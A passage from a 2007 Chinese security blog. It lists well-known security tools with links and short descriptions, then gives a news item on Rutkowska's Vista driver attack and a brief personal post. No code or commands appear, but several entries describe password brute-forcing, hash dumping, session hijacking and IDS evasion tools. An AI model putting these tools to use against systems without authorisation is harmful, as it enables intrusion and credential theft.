简介:当我们使用那些已经开发好的安全工具来处理任务时,别忘了能自己写出(或修改)安全程序也是一件非常重要的事情。利用Perl和Python能非常容易地写出用于系统测试、exploit和修补的脚本程序,使用包含Net::RawIP和协议实现等模块的CPAN(Comprehensive Perl Archive Network:http://www.cpan.org/)或类似的档案能帮助我们比较容易地进行相关的开发。

工具:THC-Amap(应用程序指纹识别扫描器)
网址:http://www.thc.org/releases.php
类别:开放源码
平台:Linux/BSD/Unix
简介:由THC开发的Amap是一个功能强大的扫描器,它通过探测端口响应的应用程序指纹数据来识别应用程序和服务,远甚于通过缺省端口号来判断应用程序和服务的方法。

工具:OpenSSL(最为重要的SSL/TLS加密库)
网址:http://www.openssl.org/
类别:开放源码
平台:Linux/BSD/Unix/Windows
简介:OpenSSL项目是共同努力开发出来的一个健全的、商业级的、全开放的和开放源代码的工具包,用于实现安全套接层协议(SSL v2/v3)和传输层安全协议(TLS v1)以及形成一个功效完整的通用加密库。该项目由全世界范围内志愿者组成的团体一起管理,他们使用Internet去交流、设计和开发这个OpenSSL工具和相关的文档。

工具:NTop(网络使用状况监测软件)
网址:http://www.ntop.org/
类别:开放源码
平台:Linux/BSD/Unix/Windows
简介:Ntop是一款显示网络使用状况的流量监测软件,类似于UNIX平台上监视系统进程的top命令。在交互模式下,ntop会将网络的使用状况显示在用户的终端上;在Web模式下,ntop会做为一个web服务器,创建包含网络状况的HTML网页返回给用户。

工具:Nemesis(命令行式的UNIX网络信息包插入套件)
网址:http://www.packetfactory.net/projects/nemesis/
类别:开放源码
平台:Linux/BSD/Unix
简介:Nemesis项目是为了开发一个UNIX/Linux系统上基于命令行的、方便人们使用的IP栈,它可以自定义数据包、插入数据包、进行协议攻击等,是一个很好的测试防火墙、入侵检测系统、路由器和其他网络设备的工具。如果你对Nemesis感兴趣,那么你也可能需要看看hping2,这两者补相互之不足。

工具:LSOF(列出打开的文件)
网址:ftp://vic.cc.purdue.edu/pub/tools/unix/lsof/
类别:开放源码
平台:Linux/BSD/Unix
简介:LSOF是针对Unix的诊断和分析工具,它能显示出由系统里正在运行的进程所打开的文件,也能显示出每一个进程的通讯socket。

工具:Hunt(Linux平台上高级的包嗅探和会话劫持工具)
网址:http://lin.fsid.cvut.cz/~kra/index.html#HUNT
类别:开放源码
平台:Linux
简介:Hunt能监视、劫持、重设网络上的TCP连接,在以太网上使用才有作用,并且含有监视交换连接的主动机制,以及包括可选的ARP转播和劫持成功后的连接同步等高级特征。

工具:Honeyd(你个人的honeynet,http://www.honeynet.org/)
网址:http://www.citi.umich.edu/u/provos/honeyd/
类别:开放源码
平台:Linux/BSD/Unix/Windows
简介:Honeyd是一个能在网络上创建虚拟主机的小小后台程序,虚拟主机能被配置成运行任意的服务,并且洽当的服务TCP特性以致他们看起来就像是运行在某个特定版本的操作系统上。Honeyd能在一个模拟的局域网环境里让一台主机配有多个地址,并且可以对虚似主机进行ping、traceroute。虚拟主机上任何类型的服务都可以依照一个简单的配置文件进行模拟。Honeyd也可以对一台主机做代理服务,而不是模拟它。

工具:Achilles(可以修改http会话包的代理程序)
网址:http://packetstormsecurity.nl/filedesc/achilles-0-27.zip.html
类别:开放源码
平台:Windows
简介:Achilles是一个设计用来测试web应用程序安全性的工具。它是一个代理服务器,在一个HTTP会话中扮演着"中间人"(man-in-the-middle)的角色。一个典型的HTTP代理服务器将在客户浏览器和web服务器间转发数据包,但Achilles却载取发向任一方的HTTP会话数据,并且在转发数据前可以让用户修改这些数据。

工具:Brutus(网络认证的强行破解工具)
网址:http://www.hoobie.net/brutus/
类别:免费
平台:Windows
简介:Brutus是一款对远程服务器的网络服务进行口令猜解的工具,支持字典攻击和组合攻击,支持的网络应用包括HTTP、POP3、FTP、SMB、TELNET、IMAP、NTP等。源代码不公开。UNIX系统上的THC-Hydra有类似的功能。

工具:Stunnel(一个多种用途的SSL加密外壳)
网址:http://www.stunnel.org/
类别:开放源码
平台:Linux/BSD/Unix/Windows
简介:Stunnel程序被设计用来做为本地客户端和远程服务器间的SSL加密外壳。它能在POP2、POP3、IMAP等使用inetd后台进程的服务器上增加SSL功能,并且不会影响到程序源代码。它使用OpenSSL或SSLeay库建立SSL会话连接。

工具:Paketto Keiretsu(极端的TCP/IP)
网址:http://www.doxpara.com/paketto
类别:开放源码
平台:Linux/BSD/Unix
简介:Paketto Keiretsu是一组使用新式的不常见的策略去操作TCP/IP网络的工具集合,开发的最初本意是为了在现有TCP/IP架构里去实现一些功能,但现在已经远远超出了最初的本意。包含的工具有:Scanrand,一个罕见的快速的网络服务和拓朴发现系统;Minewt,一个NAT/MAT路由器;linkcat,把以太网链路做为标准的输入输出;Paratrace,不产生新的连接就能追踪网络路径;Phentropy,使用OpenQVIS在三维拓朴空间里能绘制出任意总量的数据源图形。
 

工具:Fragroute(破坏入侵检测系统最强大的工具)
网址:http://www.m&#111nkey.org/~dugsong/fragroute/
类别:开放源码
平台:Linux/BSD/Unix/Windows
简介:Fragroute能够截取、修改和重写向外发送的报文,实现了大部分的IDS攻击功能。Fragroute起重要作用的是一个简单的规则设置语言,以它去实现延迟、复制、丢弃、碎片、重叠、打印、重排、分割、源路由或其他一些向目标主机发送数据包的攻击。这个工具开发的本意是去测试入侵检测系统、防火墙、基本的TCP/IP栈的行为。像Dsniff、Libdnet一样,这个优秀的工具也是由Dug Song开发的。

工具:SPIKE Proxy
网址:http://www.immunitysec.com/spikeproxy.html
类别:开放源码
平台:Linux/BSD/Unix/Windows
简介:Spike Proxy是一个开放源代码的HTTP代理程序,用于发现web站点的安全缺陷。它是Spike应用程序测试套件(http://www.immunitysec.com/spike.html)的一部份,支持SQL插入检测、web站点检测、登录表单暴力破解、溢出检测和字典穷举攻击检测等。

工具:THC-Hydra(网络认证的破解工具)
网址:http://www.thc.org/releases.php
类别:开放源码
平台:Linux/BSD/Unix
简介:这个工具能对需要网络登录的系统进行快速的字典攻击,包括FTP、POP3、IMAP、Netbios、Telnet、HTTP Auth、LDAP NNTP、VNC、ICQ、Socks5、PCNFS等,支持SSL,并且现在是Nessus风险评估工具的一部份。

其他的25个最佳安全工具:

OpenBSD,http://www.openbsd.org/ :安全可靠的操作系统。

TCP Wrappers,ftp://ftp.porcupine.org/pub/security/index.html :一流的IP访问控制和日志的实现机制。

pwdump3,http://www.polivec.com/pwdump3.html :获取本地或远程Windows主机的口令哈希,而不管是否安装了syskey。

LibNet,http://www.packetfactory.net/libnet/ :允许程序员去构造和插入网络数据包的高水平开发函数库.

IpTraf,http://cebu.mozcom.com/riker/iptraf/ :IP网络监控软件。

Fping,http://www.fping.com/ :一次可以ping多个IP地址的扫描程序。

Bastille,http://www.bastille-linux.org/ :增强系统安全性的脚本程序,支持Linux, Mac OS X和HP-UX操作系统。

Winfingerprint,http://winfingerprint.sourceforge.net/ :一款基于Win32的高级远程系统扫描器。

TCPTraceroute,http://michael.toren.net/code/tcptraceroute/ :使用TCP SYN包实现traceroute的工具。

Shadow Security Scanner,http://www.safety-lab.com/en2/products/1.htm :一款商业化的风险评估工具。

pf,http://www.benzedrine.cx/pf.html :OpenBSD系统内很有特色的包过滤防火墙。

LIDS,http://www.lids.org/ inux内核上的入侵检测和入侵防御系统。

hfnetchk,http://www.microsoft.com/technet/treeview/default.asp?
url=/technet/security/tools/tools/hfnetchk.asp :微软发布的用于检查网络上Windows主机补丁安装情况的工具。

etherape,http://etherape.sourceforge.net/ :继流量监测软件etherman之后又一个支持unix的图形化网络状况监测软件。

dig,http://www.isc.org/products/BIND/ :Bind附带的DNS查询工具。

Crack/Cracklib,http://www.users.dircon.co.uk/~crypto/ :一流的本地口令破解器。

cheops/cheops-ng,http://www.marko.net/cheops/,http://cheops-ng.sourceforge.net/ :绘制本地或远程网络的网络图,并且也能识别主机的操作系统类型。

zone alarm,http://www.zonelabs.com/ :Windows平台上的个人防火墙软件。

Visual Route,http://www.visualware.com/visualroute/index.html :获取traceroute/whois数据,并且绘制出数据包经过的网络路线在世界地图上的位置。

The Coroner's Toolkit (TCT),http://www.fish.com/tct/ :运行于Unix系统上的文件系统检查及紧急修复工具集。

tcpreplay,http://tcpreplay.sourceforge.net/ :能把tcpdump或snoop保存下来的流量监测文件在任意点进行回放的工具。

snoop,http://www.spitzner.net/snoop.html :Solaris系统附带的网络嗅探工具。

putty,http://www.chiark.greenend.org.uk/~sgtatham/putty/ :Windows平台上优秀的SSH客户端。

pstools,http://www.sysinternals.com/ntw2k/freeware/pstools.shtml :一套用于管理Windows系统的免费命令行工具。

arpwatch,http://www-nrg.ee.lbl.gov/ :主要用来检测mac地址和ip地址对应关系的工具。

十月 17th, 2007

Posted In: 未分类

一名俄罗斯安全专家在黑帽大会上向与会人员展示了一项惊人的发现——Windows vista驱动程序潜伏着令人难以致信的危险,其中ATI和NVIDA所提供的官方驱动问题尤为严重!

  这名专家名叫Joanna Rutkowska,是虚拟化技术领域的专家,曾在去年的黑帽大会上成功演示了“Blue Pill”的Windows攻击。通过Vista内建虚拟化技术,Blue Pill被作为恶意软件运行,它在启动时进行自激活,并在Vista虚拟化系统中给予自身一个系统管理员权限。Rutkowska通过Blue Pill,有效地获得了对系统的控制权,并且整个过程不会被Windows检测到,因此,它也就成了一个终极木马。

  虽然微软声称在Vista的最终发行版中已经修复了这个漏洞,但是从结果来看仍然存在许多可以攻击Windows Vista并安装恶意软件和木马的方式。

  在演示中,Ruthkowska通过使用NVIDIA驱动程序作为一个跳板,将代码写入至内核。Ruthkowska现场展示了其开发的一款木马,顺利地绕过了Vista的内核保护系统。

  Ruthkowska解释道:“问题全部出在NVIDIA身上,它的驱动程序并未做任何正确的检查,从而使攻击者可以对注册表进行任意读写。”

十月 15th, 2007

Posted In: 未分类

前两天好郁闷,然后买了一个低声炮,本本的音效太差没办法,听了一首歌好喜欢,也拿出来和大家一块分享,希望大家能够喜欢,因为这个歌和我的亲身经历太像了,俺好喜欢听flash/asbrdr.swf

十月 13th, 2007

Posted In: 未分类

下一页 »

无觅相关文章插件,快速提升流量